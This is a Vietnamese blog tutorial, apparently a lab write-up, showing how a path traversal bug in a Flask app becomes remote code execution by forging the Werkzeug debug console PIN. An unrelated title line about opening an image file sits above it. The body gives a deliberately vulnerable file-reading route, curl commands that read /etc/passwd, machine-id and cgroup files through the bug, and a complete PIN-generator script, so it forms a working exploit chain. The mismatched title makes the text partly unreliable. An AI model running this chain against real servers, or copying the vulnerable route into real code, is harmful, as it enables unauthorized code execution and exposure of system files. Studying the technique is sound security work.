Làm sao mở file lỗi image not rege năm 2024

# Path traversal to RCE with Flask debug ## Mở đầu Path Traversal là một lỗ hổng cho phép kẻ tấn công đọc, sửa, xóa một file tùy ý trên hệ thống. ![](https://i.imgur.com/gcwRGGO.png) Path traversal mang nhiều impact khác nhau khi đặt trong các ngữ cảnh khác nhau, ví dụ như nếu attacker kiểm soát được input rơi vào hàm `include` của PHP, lúc này nó sẽ được gọi là Local File Inclusion, giúp attacker include một file PHP bất kì. Nếu như bằng một cách nào đó, attacker include được một file PHP shell vào thì LFI sẽ có thể trở thành một lỗ hổng RCE. Từ path traversal có thể lead ra được RCE là do cách hoạt động của PHP, hàm `include` đơn giản sẽ chỉ lấy nội dung từ file đích rồi đưa vào làm nội dung cho file hiện tại, nếu tồn tại cặp dầu `` thì nội dung bên trong sẽ được xem như code PHP ![](https://i.imgur.com/JheeFz2.png) Tuy nhiên đối với Python thì việc import các module sẽ không hoạt động như thế, ta sẽ không thể tự do inject code trong runtime giống như PHP. Vậy liệu từ Path traversal có con đường nào để biến nó trở thành RCE hay không? Thật ra thì có rất nhiều, tùy thuộc vào ngữ cảnh của lỗi Path traversal đó, lần này ta sẽ cùng tìm hiểu một con đường thú vị để turn từ Path traversal thành RCE khi Debug mode của Flask được bật! ## Debug mode: ON == Risk: Exist Debug là một giải pháp vô cùng hữu dụng đối với các lập trình viên khi cần tìm ra lỗi trong các dòng code, việc xem cách dòng code đó chạy qua từng bước, inspect giá trị của các biến sẽ dễ tìm bug hơn nhiều so với việc chỉ nhìn code chạy, nhất là đối với các code base lớn với nhiều dependencies. Một số web framework biết được việc debug là thiết yếu đối với các developers nên thường sẽ tích hợp sẵn chế độ này, developers có thể tự do tắt mở chế độ này khi cần thiết. Chế độ debug của các web framework thường sẽ in ra stack trace, in ra các web routes, **biến môi trường**, một đoạn code snippets, ... Với từng ấy thông tin, chắc chắn chế độ này sẽ không nên được bật khi lên môi trường production, tuy nhiên không ít lập trình viên đã quên tắt chế độ này dẫn đến việc tiết lộ cho attacker nhiều thông tin nhạy cảm của server. ![](https://i.imgur.com/HyRh5WG.png) Một số web framework có chế độ debug như: Symfony, Laravel, Django, Flask, ... Một số bug đã được tìm ra từ việc quên tắt debug khi lên production: - Symfony profiler: https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144 - Microsoft django debug mode: https://medium.com/@syedabuthahir/django-debug-mode-to-rce-in-microsoft-acquisition-189d27d08971 ## Debug mode: ON trong flask Bản thân Flask cũng có debug mode của riêng nó, khi được bật thì một endpoint mới là `/console` sẽ xuất hiện, khi truy cập endpoint này, developers sẽ có thể chạy các python script với context của ứng dụng hiện tại ![](https://i.imgur.com/bjMF9f8.png) Tuy nhiên trước đó thì ta sẽ phải nhập đúng mã pin được tạo ra bởi Flask ![](https://i.imgur.com/q1sUiiw.png) Mã pin này hiển thị trên terminal khi ta chạy lệnh flask run với biến môi trường `FLASK_DEBUG=ON` ![](https://i.imgur.com/Ck1twZu.png) Vậy thì nếu là một attacker, để vào được console này thì ta sẽ phải biết mã PIN kia, nhưng làm sao để biết được mã PIN đó? Thực chất mã PIN kia không thật sự ngẫu nhiên, nó được tạo nên bởi một số yếu tố của server ## PIN code Thuật toán dùng để tạo ra mã pin nằm trong file `/usr/lib/python3/dist-packages/werkzeug/debug/__init__.py` ( WSGI mặc định của flask trong môi trường dev là werkzeug ). Ở các version python khác nhau thì thuật toán dùng để tạo ra mã pin cũng sẽ khác nhau một chút, version python hiện tại trên server là `3.10.6`. Việc ta cần làm bây giờ đó là reverse thuật toán tạo PIN code ## Reversing PIN code generating algorithm Hàm chủ yếu nhận nhiệm vụ tạo ra mã PIN và cookie là `get_pin_and_cookie_name`, có 2 yếu tố mà hàm này sử dụng: ```python probably_public_bits = [ username, modname, getattr(app, "__name__", type(app).__name__), getattr(mod, "__file__", None), ] ``` và ```python private_bits = [str(uuid.getnode()), get_machine_id()] ``` Ta sẽ bắt đầu với phần `probably_public_bits`. Trace lên bên trên ta sẽ thấy đoạn `username = getpass.getuser()`, hàm `getpass.getuser()` sẽ trả về logged user, nói đơn giản là user đã khởi chạy flask. Trường hợp bên này thì user tên là `shin24` tiếp theo là `modname`, phần này thì được gán ở câu lệnh: ```python modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__) ``` Sau câu lệnh này thì `modname` sẽ luôn có giá trị là `flask.app`. `getattr(app, "__name__", type(app).__name__)` sẽ luôn mang giá trị `Flask` `getattr(mod, "__file__", None)` sẽ mang giá trị là đường dẫn tuyệt đối đến file `app.py` của flask, trường hợp này là `/usr/lib/python3/dist-packages/flask/app.py` Vậy tóm lại ta sẽ có: ```python probably_public_bits = [ username, # shin24 modname, # flask.app getattr(app, "__name__", type(app).__name__), # Flask getattr(mod, "__file__", None), # /usr/lib/python3/dist-packages/flask/app.py ] ``` Giờ qua phần `private_bits`, ta sẽ có `uuid.getnode()` là địa chỉ MAC hiện tại của máy ở định dạng Decimal, thông tin này có thể có được từ `/sys/class/net//address`. Đối với `get_machine_id` thì sẽ hơi đặc biệt, giá trị trả về từ hàm này là sự kết hợp từ nhiều nguồn, nên tí nữa ta sẽ sử dụng lại một phần của hàm này trong file generator Vậy với `private_bits` ta sẽ có: ```python private_bits = [ str(uuid.getnode()), # Decimal MAC address get_machine_id() ] ``` Có được các thông tin này, cùng với thuật toán tạo PIN, hãy cùng thử tạo PIN với thông tin ta có được. ```python import hashlib from itertools import chain import uuid _machine_id = None def get_machine_id(): global _machine_id if _machine_id is not None: return _machine_id def _generate(): linux = b"" # machine-id is stable across boots, boot_id is not. for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue if value: linux += value break # Containers share the same machine id, add some cgroup # information. This is used outside containers too but should be # relatively stable across boots. try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass if linux: return linux _machine_id = _generate() return _machine_id rv = None num = None probably_public_bits = [ "shin24", "flask.app", "Flask", "/usr/lib/python3/dist-packages/flask/app.py", ] private_bits = [ str(uuid.getnode()), # converted to decimal get_machine_id() ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{h.hexdigest()[:20]}" if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num print("rv: " + rv) ``` Kết quả thu được: ![](https://i.imgur.com/Mkckekt.png) Thử đăng nhập bằng key này và BOOM! Ta đã có thể truy cập được vào console và thực thi code python tùy ý Các thông tin này sẽ được đưa sẽ được đưa thuật toán generate bên dưới dựa trên SHA1. Tuy đã xác định được hết nguồn gốc của các thông tin nhưng ta chỉ có thể biết được khoảng 3 trong số đó là: - `getattr(app, "__name__", type(app).__name__)` - `modname` - ` getattr(mod, "__file__", None)` ( thông qua thông báo lỗi khi debug mode được bật ) Vậy làm sao để ta biết được các yếu tố còn lại đây? ## Path traversal save the day Đối với các yếu tố còn lại, thực chất ta có thể biết được thông qua đọc các file trên server: #### `username` có thể biết được thông qua việc đọc file `/etc/password` #### `uuid.getnode()` Nếu chạy trên môi trường unix, hàm này sẽ cố gắng đọc nội dung từ các câu lệnh như `ip link`, `ipconfig` để lấy địa chỉ MAC, convert qua Decimal bằng lệnh `int(mac_addr, 16)` và trả về. Tuy ta chưa thể thực thi các câu lệnh trên nhưng có một cách khác để tìm ra các MAC address đó là từ đường dẫn `/sys/class/net//address`, trong đó thì interface là network interface của machine Thực chất thì đây là một hàm không ổn định, bởi nếu như có nhiều network interfaces trên máy thì kết quả mà nó tạo ra sẽ không thể đoán trước được, tuy nhiên vẫn có thể có khả năng ta đọc được đúng MAC address mà hàm này sử dụng, so why not?! #### `get_machine_id()` Bên trong hàm này thực chất đang nối chuỗi nội dung của `/etc/machine-id`, `/proc/sys/kernel/random/boot_id` và `/proc/self/cgroup` như trong source code bên trên, thông qua đọc 3 file này và đưa vào thuật toán trên ta có thể trả về giá trị đúng ## Bring it all together Giờ là lúc ta chain tất cả lại, hãy mô phỏng một ứng dụng flask bị Path traversal ```python from flask import Flask, request app = Flask(__name__) @app.route('/') def hello(): return 'Hello, World!' @app.route('/readfile/') def readfile(): queries = request.args file = queries.get('file') content = open(file, 'r').read() return content ``` Đầu tiên ta sẽ có giá trị của `getattr(mod, "__file__", None)` là **/usr/local/lib/python3.8/site-packages/flask/app.py** nhờ thông báo lỗi khi đọc một file không tồn tại: ![](https://i.imgur.com/V2ZcO0f.png) Tiếp đến ta đọc file `/etc/passwd` có được nội dung: ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin ``` Loại bỏ các user mặc định khác thì khả năng cao flask được chạy với quyền **root** Ta tiếp tục đọc nội dung của các file cần thiết trong hàm `get_machine_id()`: ``` curl "http://172.26.0.2:5000/readfile/?file=/etc/machine-id" -O curl "http://172.26.0.2:5000/readfile/?file=/proc/sys/kernel/random/boot_id" -O curl "http://172.26.0.2:5000/readfile/?file=/proc/self/cgroup" -O ``` Nhưng có vẻ như file `machine-id` không tồn tại, không sao trong hàm đã có xử lý ngoại lệ này. Tiếp đến ta sẽ đọc decimal MAC address từ đường dẫn `/sys/class/net//address`, `` ở đây thì có thể là eth0, trong thực tế ta có thể fuzz đoạn này vì thường thì tên các interface sẽ mặc định. Ta sẽ tìm thấy file ở đường dẫn `/sys/class/net/eth0/address`, đọc file ta được giá trị `02:42:ac:XX:XX:XX` Giờ ta sẽ chỉnh lại file generator một chút ```python import hashlib from itertools import chain import uuid _machine_id = None def get_machine_id(): global _machine_id if _machine_id is not None: return _machine_id def _generate(): linux = b"" # machine-id is stable across boots, boot_id is not. for filename in "./machine-id", "./boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue if value: linux += value break # Containers share the same machine id, add some cgroup # information. This is used outside containers too but should be # relatively stable across boots. try: with open("./cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass if linux: return linux _machine_id = _generate() return _machine_id rv = None num = None probably_public_bits = [ "root", "flask.app", "Flask", "/usr/local/lib/python3.8/site-packages/flask/app.py", ] private_bits = [ str(int("0242ac1a0002", 16)), # striped ":" get_machine_id() ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{h.hexdigest()[:20]}" if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num print("rv: " + rv) ``` Run file được kết quả: ``` rv: 483-684-000 ``` Nhập thử và... BOOM! ![](https://i.imgur.com/Gr5fc5o.png) Từ đây ta có thể thực thi code Python thoải mái và RCE!